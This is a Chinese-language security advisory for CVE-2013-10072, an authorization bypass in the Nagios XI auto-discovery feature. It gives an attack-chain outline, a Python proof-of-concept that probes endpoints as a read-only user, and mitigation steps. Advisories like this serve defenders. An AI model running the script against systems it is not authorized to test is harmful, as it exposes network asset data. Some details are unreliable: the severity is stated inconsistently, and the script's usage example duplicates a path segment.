IPBUF安全漏洞报告
English
CVE-2013-10072 CVSS 6.5 中危

CVE-2013-10072: Nagios XI自动发现功能存在授权绕过漏洞

披露日期: 2025-10-30

漏洞信息

漏洞编号
CVE-2013-10072
漏洞类型
授权绕过
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Nagios XI

相关标签

授权绕过访问控制Nagios XIAuto-DiscoveryCVE-2013-10072Web应用安全权限提升

漏洞概述

CVE-2013-10072是Nagios XI产品中的一个高危授权绕过漏洞。该漏洞存在于Nagios XI 2012R1.6之前版本的自动发现(Auto-Discovery)功能模块中。由于系统对自动发现端点和页面缺乏正确的权限验证机制,具有只读角色(read-only role)的低权限用户可以直接访问本应需要更高权限的自动发现功能接口。通过这一授权缺陷,攻击者可以绕过正常的权限控制流程,访问敏感的企业网络发现结果,并可能执行非授权的发现操作,从而获取目标网络中的关键资产信息,如服务器、网络设备、终端等拓扑结构。该漏洞的CVSS评分为6.5,属于中等严重程度,主要威胁系统的机密性,攻击复杂度低且无需用户交互。

技术细节

Nagios XI的自动发现功能原本设计为仅供具有管理员或更高权限的用户使用,用于扫描和发现网络中的IT资产。然而,由于服务端在实现访问控制时存在缺陷,错误的权限检查逻辑允许具有只读角色的用户直接通过HTTP请求访问自动发现的API端点和Web页面。攻击者只需构造特定的HTTP请求(如访问自动发现的任务创建、结果查询等接口),即可绕过前端和后端的权限验证机制。系统未能正确验证用户角色是否具有执行发现操作的权限,导致低权限用户可以获取网络发现结果(包含IP地址、主机名、服务端口等敏感信息),甚至可以发起新的网络扫描任务。该漏洞属于OWASP Top 10中的Broken Access Control类别,是典型的服务端访问控制失效问题。

攻击链分析

STEP 1
1
攻击者获取或注册一个具有只读角色的Nagios XI用户账号
STEP 2
2
攻击者使用该低权限账号登录Nagios XI系统
STEP 3
3
攻击者构造HTTP请求直接访问自动发现功能的后端API端点(如autodiscovery.php或相关API接口)
STEP 4
4
由于服务端缺少正确的权限验证逻辑,请求被成功处理,绕过授权检查
STEP 5
5
攻击者获取网络发现结果,包括IP列表、主机信息、服务端口等敏感资产数据
STEP 6
6
攻击者可能进一步利用发现的资产信息进行横向移动或发起其他攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2013-10072 PoC - Nagios XI Auto-Discovery Authorization Bypass This PoC demonstrates how a read-only user can access auto-discovery endpoints. Note: For authorized security testing only. """ import requests import sys def check_vulnerability(target_url, username, password): """ Check if Nagios XI is vulnerable to CVE-2013-10072 """ login_url = f"{target_url}/nagiosxi/login.php" auto_discovery_url = f"{target_url}/nagiosxi/includes/components/autodiscovery/" session = requests.Session() # Step 1: Login as read-only user login_data = { 'username': username, 'password': password, 'loginButton': 'Login' } try: response = session.post(login_url, data=login_data, timeout=10) if 'login' not in response.url.lower(): print("[+] Login successful as read-only user") else: print("[-] Login failed") return False # Step 2: Try to access auto-discovery endpoints (should require admin privileges) endpoints = [ 'autodiscovery.php', 'autodiscovery/?mode=view', 'includes/components/autodiscovery/search.php', 'includes/components/autodiscovery/api.php' ] vulnerable = False for endpoint in endpoints: url = f"{target_url}/nagiosxi/{endpoint}" response = session.get(url, timeout=10) # Check if we can access discovery results without proper authorization if response.status_code == 200 and ('autodiscovery' in response.text.lower() or 'discovery' in response.text.lower()): print(f"[!] Vulnerable: Read-only user can access {endpoint}") print(f" Response length: {len(response.text)} bytes") vulnerable = True if vulnerable: print("[+] Target is VULNERABLE to CVE-2013-10072") return True else: print("[-] Target appears to be patched or not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: python3 {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python3 {sys.argv[0]} http://192.168.1.100/nagiosxi admin password") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)

影响范围

Nagios XI < 2012R1.6

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:1)限制只读账号的创建和使用,仅授予真正需要该权限的用户;2)通过网络分段隔离Nagios XI服务器,限制对其管理接口的访问来源;3)配置Web应用防火墙(WAF)规则,监控和阻止对autodiscovery相关端点的异常访问;4)临时禁用自动发现功能或限制其仅能由管理员使用;5)加强账号监控,对只读账号的任何异常操作行为进行告警。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表